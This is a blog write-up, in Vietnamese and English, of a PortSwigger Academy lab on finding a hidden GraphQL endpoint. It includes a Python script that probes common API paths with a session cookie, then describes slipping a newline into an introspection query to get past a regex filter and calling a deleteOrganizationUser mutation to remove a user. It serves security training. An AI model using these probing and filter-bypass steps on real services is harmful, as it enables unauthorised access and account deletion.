Author: travondatrack
Date: 14/01/2026
Category: Pentest | Web | Security
Difficulty: PRACTITIONER
Tags: GraphQL
Mô tả
The user management functions for this lab are powered by a hidden GraphQL endpoint. You won't be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.
To solve the lab, find the hidden endpoint and delete carlos.
Link: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
Phân tích vấn đề
Recon
- Lab không expose endpoint GraphQL rõ ràng (không có /graphql, /graphiql, v.v.).
- Ta cần thử các path phổ biến.
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
Khai thác
Bước 1: Scanning for hidden GraphQL endpoint
- Viết script Python để tìm endpoint.
import requests
BASE_URL = "https://0a0a00d00322650a805644e4006800a4.web-security-academy.net"
# Cookie lấy từ request /login
COOKIES = {
"session": "XHAvkzbOEaTNhOHFhW6sCjzHp1nRV6a1"
}
HEADERS = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
# Các endpoint hay gặp trong thực tế
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
TEST_QUERY = "query{__typename}"
def is_graphql_endpoint(path):
url = BASE_URL + path
params = {"query": TEST_QUERY}
try:
r = requests.get(
url,
headers=HEADERS,
cookies=COOKIES,
params=params,
timeout=5
)
if r.status_code == 200 and "__typename" in r.text:
print(f"[+] GraphQL endpoint FOUND: {path}")
print(r.text)
return True
else:
print(f"[-] {path} -> Not GraphQL")
except Exception as e:
print(f"[!] {path} -> Error: {e}")
return False
if __name__ == "__main__":
print("[*] Scanning for hidden GraphQL endpoint...\n")
for path in COMMON_GRAPHQL_PATHS:
if is_graphql_endpoint(path):
break
- Kết quả tìm được.
Bước 2: Bypass introspection defense
- Thử gửi introspection query chuẩn
- Server dùng regex đơn giản để block chuỗi "__schema{". GraphQL bỏ qua whitespace/newline, nhưng regex có thể không xử lý tốt
==> Bybass bằng \n
Sau khi có được schema, ta thấy có 1 mutation nguy hiểm
"name": "deleteOrganizationUser".Ta cần tìm id của
carlosđể xóa.
query {
getUser(id: ...) {
id
username
}
}
Submit
- Xóa tài khoản carlos thông qua
deleteOrganizationUser.
==> DONE!





Top comments (0)